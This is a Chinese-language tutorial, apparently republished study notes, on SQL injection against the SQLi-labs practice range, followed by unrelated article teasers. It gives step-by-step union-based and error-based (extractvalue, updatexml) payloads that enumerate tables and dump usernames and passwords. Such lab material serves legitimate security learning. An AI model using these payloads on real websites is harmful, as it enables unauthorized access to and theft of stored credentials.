SQL注入学习(配合SQLi-lab靶场)

news2024/9/21 16:48:02

前提条件:

在进行sql注入时,首先要确定网页有注入点,一般在URL地址栏中,或者含有输入框的地方会有

SQL注入步骤:

1、判断注入类型

首先判断是什么类型的注入,用id=1 and 1=1 和id=1 and 1=2 判断是数字类型注入还是字符型注入 如果二者都能进行正常显示界面,则为字符型注入,否则是数字型注入

(小技巧:可以用id=2-1判断,如果页面显示的和id=1相同则为数字型注入,如果和id=2相同,则为字符型注入) 字符型注入要看闭合条件(数字型就不用看),所以要判断闭合方式。

2、找到闭合方式(字符型注入)

将id=1后面加'或"查看报错,我们插入的'与前面的形成闭合,然后在后面加--+来注释掉后面的闭合,中间就可以插入我们的查询语句了。

?id=1' union select --+

注意上面这条语句是直接输入到url后面的,不是清空url地址栏输入的!

3、确定列数

所以,在用union之前,要判断列数是多少,一般通过group by二分法测试 如:id=1' group by 10 --+ 回车报错的话,再测试id=1' group by 5 --+ 如果查出来了表示可以,继续测试下去 同样使用order by也能判断列数是多少,这里的重点在于order by后既可以填列名或者是一个数字。 举个例子: id是user表的第一列的列名,那么如果想根据id来排序,有两种写法:

注意union查询要保证前面和后面的查询,列数一致!!! 所以,在用union之前,要判断列数是多少,通过group by二分法测试 如id=1' group by 10 --+ 回车报错的话,在测试id=1' group by 5 --+ 如果查出来了表示可以,继续测试下去 同样使用order by也能判断列数是多少,这里的重点在于order by后既可以填列名或者是一个数字。 举个例子: id是user表的第一列的列名,那么如果想根据id来排序,有两种写法:

select * from user order by id;
selecr * from user order by 1;

判断完列数之后,可以用union进行查询了,比如列数是3

在url后面输入:(Less-1)

?id=1' union select 1,2,3--+

查看回显,没有报错

更改id查看不同的行:

?id=2' union select 1,2,3--+

我们发现,更改id后面的值,就可以查看数据库中的不同的行的内容,记住这个id值,后面会用到

4、用基本函数查看信息

注意观察页面,要用有回显的列数来查看,比如上一个例子中,就不能用id=1的列,查到了也不会有反馈,用id=2或id=3则可以查看

接下来我们使用sql注入来查看数据库的基本信息:其中version(),database()分别是用来查看数据库版本和当前数据库名字的函数。

?id=-1' union select 1,version(),database()--+

为什么上面的id=-1呢?

因为页面只能显示一个内容,第二句(即union 后面的内容)是不显示的,可以把第一句(id=1)的内容改成数据库不存在的数据,如id=-1 或id=0都可

ok,以上四个小点,是sql注入的基本流程,以后的sql注入中虽然有不同的类型,但是基本流程就是这样子,接下来学习不同类型的sql注入

在此之前,需要了解一个重要的知识点information_schema ,这个是mysql数据库中自带的一个系统库,叫做信息数据库,里面存放着两张重要的表,tablescolumns 我们必须了解这两张表中的几个信息,以便于日后更好的注入

给大家一个链接,大家可以仔细观察库中这两张表的基本内容

MySQL 中的 information_schema 数据库_object 'profiling' not found within 'information_s-CSDN博客

接下来我们学习使用这张表来获取信息

如何拿到当前数据库的表名列名

?id=-1' union select 1,2,table_name from information_schema.tables--+

information_schema.tables 就是确定information_schema里的这张tables表

table_nameinformation_schema.tables 表中的一个列,也是information_schema.columns的一个列,用于表示数据库中表格的名称。这个列存储了每个表格在数据库中的实际名称。因此,通过查询 information_schema.tables 表,并选择 table_name 列,你可以获取到数据库中所有表格的实际名称。

column_name是information_schema.columns的一个列,通过查询 information_schema.columns 表,并选择 column_name 列,你可以获取到数据库中所有列的名称列表。

然后回车查看:

成功取到当前表的表名咯~

再来一个:

?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=database()--+

table_schema 是对应的表名所属的数据库名(如果大家还不太理解,建议去看上面的链接研究一下,懂了之后你会恍然大悟的)

table_name:需要查询的列名称,表示将会输出表的名称。

from information_schema.tables:从information_schema库中的tables表中获取数据,该表包含了所有数据库的元数据信息,例如表名、列名等。

where table_schema=database():按照数据库名筛选表。其中,database()是MySQL内置函数,用于返回当前正在使用的数据库名称。

我们已经知道了数据库名为security,为啥还要用database()来获取呢? 因为这样有概率绕过WAF

成功获取表名emails

group_concat():确保所有查询信息能放到一行显示出来,非常好用

如:拿到当前数据库的所有表名

?id=-1' union select 1,group_concat(table_name), 3 from information_schema.tables where table_schema='security'

emails、referers等就是table_name下的表名啦

查找数据库security中数据表users的列名:

?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns--+ where table_schema=database() and table_name='users'

查找数据表users中的所有username和password

?id=-1' union select 1,2, group_concat(username,':',password) from users--+

5、字符型union注入和数字型union注入区别

其实以上的所有例子都是字符型注入的实例,在这里只要区分一下二者的小区别即可

数字型union注入与字符型注入基本相同,只是少了找到闭合方式这一步而已,因为数字型注入没有' " )等的闭合,所以会少一步

6、报错注入

找了一张图来方便理解报错注入 

构造语句,让错误信息中夹杂可以显示数据库内容的查询语句Less-5

?id=1' union select 1,2,database()--+

我们使用上述正确的语句,但是不会有回显,但是会报错,从中来获取信息

?id=1' union select 1,2,datadase()--+

1、通过extractvalue()报错注入

extractvalue(列名,查询内容的路径),第二个参数要故意输入错误,导致报错注入

?id=1' union select 1,extractvalue(1,concat(0x7e,(select database()))),3--+

需要查询别的数据只需要更改(select database())里面的语句即可

例如:(其中0x7e是~号    concat()的作用是拼接)

?id=1' union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables))),3--+

用以下语法查找users的账号密码,发现回显的只有32个字符(就是不能把所有的信息一次输出完毕)。我们利用substring( )来解决这个问题

?id=1' union select 1,extractvalue(1,concat(0x7e,(select group_concat(username,':',password) from users))),3--+

?id=1' union select 1,2,extractvalue(1,concat(0x7e,substring((select group_concat(username,password) from users),1,30)))--+

更改SUBSTRING(string,position,length) 函数中的后两位,即可查看未显示的部分

?id=1' union select 1,2,extractvalue(1,concat(0x7e,substring((select group_concat(username,password) from users),10,30)))--+

拼接上述信息就可以查到完整信息了

2、updatexml()报错注入

updatexml(XML_document,XPath_string,new_value)

XML_document:是string的格式,为XML文档对象的名称

XPath_string:是路径,XPath格式的字符串 (需要输入错误,来导致报错注入)

new_value:string格式,替换查找到符合条件的数据

?id=1" and 1=updatexml(1,concat('~',(select database())),3)--+

?id=1" and 1=updatexml(1,concat(0x7e,substring((select group_concat(username,password) from users),1,31)),3)--+

笔记太多,后续会继续上传~~~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1316525.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Redis设计与实现之整数集合

目录 一、内存映射数据结构 二、整数集合 1、整数集合的应用 2、数据结构和主要操作 3、intset运行实例 创建新intset 添加新元素到 intset 添加新元素到 intset(不需要升级) 添加新元素到 intset (需要升级) 4、升级 升级实例 5、关于升级 …

25.Java程序设计-基于SSM框架的微信小程序校园求职系统的设计与实现

1. 引言 1.1 背景 介绍校园求职系统的背景,说明为什么设计这个系统以及系统的重要性。 1.2 研究目的 阐述设计基于SSM框架的微信小程序校园求职系统的目标和意义。 2. 需求分析 2.1 行业背景 分析校园求职行业的特点和需求,以及目前市场上同类系统…

Spring Boot SOAP Web 服务端和客户端

一. 服务端 1. 技术栈 JDK 1.8,Eclipse,Maven – 开发环境SpringBoot – 基础应用程序框架wsdl4j – 为我们的服务发布 WSDLSOAP-UI – 用于测试我们的服务JAXB maven 插件 – 用于代码生成 2.创建 Spring Boot 项目 添加 Wsdl4j 依赖关系 编辑pom…

化学方程式小程序

brief introduction 相信大家上中学时都会被化学方程式折腾得死去活来,尤其是配平,怎么也算不对数字。于是我写出了这款近200行的自动配平程序,这是不是你们黑暗化学中的一丝光亮呢? usage 正常化学式输入,每一种物…

智慧农业大数据可视化UI,数据展示平台(免费可视化大屏模版PS资料)

大屏幕展示方式可以实现信息的直观呈现与交互操作,使农业生产者能够一目了然地掌握有关农情、天气、土壤等数据信息,从而科学决策。智慧农业大数据可视化大屏是提升农业生产效益的一种重要工具。 现分享亩产效益指标、农业大数据可视化、农业数据展示平…

基于EasyExcel的数据导入导出

前言: 代码复制粘贴即可用,主要包含的功能有Excel模板下载、基于Excel数据导入、Excel数据导出。 根据实际情况修改一些细节即可,最后有结果展示,可以先看下结果,是否是您想要的。 台上一分钟,台下60秒&a…

QT Widget - 随便画个圆

简介 实现在界面中画一个圆, 其实目的是想画一个LED效果的圆。代码 #include <QApplication> #include <QWidget> #include <QPainter> #include <QColor> #include <QPen>class LEDWidget : public QWidget { public:LEDWidget(QWidget *pare…

前端传递参数,后端如何接收

目录 简单参数 传递方式 获取方式一 获取方式二 相关注解 实体参数 数组集合参数 传递方式 相关注解 获取方式一 获取方式二 日期参数 传递方式 相关注解 获取方式 json参数 传递方式 相关注解 获取方式 路径参数 传递方式 相关注解 获取方式 传递多个…

【Java系列】详解多线程(三)—— 线程安全(上篇)

个人主页&#xff1a;兜里有颗棉花糖 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 兜里有颗棉花糖 原创 收录于专栏【Java系列专栏】【JaveEE学习专栏】 本专栏旨在分享学习Java的一点学习心得&#xff0c;欢迎大家在评论区交流讨论&#x1f48c; 目录 一…

心理测试网站源码,知己心理React心理健康测试

源码介绍 React心理健康测试网站源码&#xff0c;帮助需要的人更好地了解自已的心理健康状态和人格特征。 React可以在Vite中启用HMR&#xff0c;并且包含了几人EsLint规则。只需要使用react antd-mobile即可 轻松部署完成。

【JAVA日志框架】JUL,JDK原生日志框架详解。

前言 Java日志体系混乱&#xff1f;Java日志框架系列&#xff0c;清晰简洁整理好整个Java的日志框架体系。第一篇&#xff0c;JDK原生日志框架——JUL。 目录 1.概述 2.日志级别 3.配置 4.继承关系 1.概述 日志框架的核心问题&#xff1a; 日志是用来记录应用的一些运行…

C++ Qt开发:Tab与Tree组件实现分页菜单

Qt 是一个跨平台C图形界面开发库&#xff0c;利用Qt可以快速开发跨平台窗体应用程序&#xff0c;在Qt中我们可以通过拖拽的方式将不同组件放到指定的位置&#xff0c;实现图形化开发极大的方便了开发效率&#xff0c;本章将重点介绍tabWidget选择夹组件与TreeWidget树形选择组件…

Swift 响应式编程:简化 KVO 观察与 UI 事件处理 | 开源日报 No.110

ReactiveX/RxSwift Stars: 23.8k License: MIT RxSwift 是 Reactive Extensions 标准的 Swift 特定实现&#xff0c;它提供了 Observable 接口来表达计算的通用抽象。该项目旨在为 Rx API 提供真正以 Swift 为先的 API&#xff0c;并允许轻松地组合异步操作和数据流。其主要功…

K8s投射数据卷

目录 一.Secret 1.secret介绍 2.secret的类型 3.创建secret 4.使用secret 环境变量的形式 volume数据卷挂载 二ConfigMap 1.创建ConfigMap的方式 2.使用ConfigMap 2.1作为volume挂载使用 2.2.作为环境变量 三.Downward API 1.以环境变量的方式实现 2.Volume挂载 一.S…

Linux 中使用 docker 安装 Elasticsearch 及 Kibana

Linux 中使用 docker 安装 Elasticsearch 及 Kibana 安装 Elasticsearch 和 Kibana安装分词插件 ik_smart 安装 Elasticsearch 和 Kibana 查看当前运行的镜像及本地已经下载的镜像&#xff0c;确认之前没有安装过 ES 和 Kibana 镜像 docker ps docker images从远程镜像仓库拉…

HarmonyOS后台代理提醒

后台代理提醒 简介 随着生活节奏的加快&#xff0c;我们有时会忘记一些重要的事情或日子&#xff0c;所以提醒功能必不可少。应用可能需要在指定的时刻&#xff0c;向用户发送一些业务提醒通知。例如购物类应用&#xff0c;希望在指定时间点提醒用户有优惠活动。为满足此类业…

redis:四、双写一致性的原理和解决方案(延时双删、分布式锁、异步通知MQ/canal)、面试回答模板

双写一致性 场景导入 如果现在有个数据要更新&#xff0c;是先删除缓存&#xff0c;还是先操作数据库呢&#xff1f;当多个线程同时进行访问数据的操作&#xff0c;又是什么情况呢&#xff1f; 以先删除缓存&#xff0c;再操作数据库为例 多个线程运行的正常的流程应该如下…

云原生之深入解析Kubernetes Operator的最佳实践和最常见的问题分析

一、Kubernetes Operator 简介 Kubernetes Operator 是通过连接主 API 并 watch 时间的一组进程&#xff0c;一般会 watch 有限的资源类型。当相关 watch 的 event 触发的时候&#xff0c;operator 做出响应并执行具体的动作。这可能仅限于与主 API 交互&#xff0c;但通常会涉…

HiveSql语法优化二 :join算法

Hive拥有多种join算法&#xff0c;包括Common Join&#xff0c;Map Join&#xff0c;Bucket Map Join&#xff0c;Sort Merge Buckt Map Join等&#xff0c;下面对每种join算法做简要说明&#xff1a; Common Join Common Join是Hive中最稳定的join算法&#xff0c;其通过一个M…

selenium+xpath爬取二手房标题

贝壳找房标题爬取需要注意的是&#xff0c;在页面中间有一个小广告 而他就在ul的li下面&#xff0c;当我们进行title所以输出时&#xff0c;会报错。 所以在进行页面解析之前必须把广告叉掉&#xff0c;不然也把广告那一部分的li给爬取下来了 所以&#xff0c;我们&#xff0…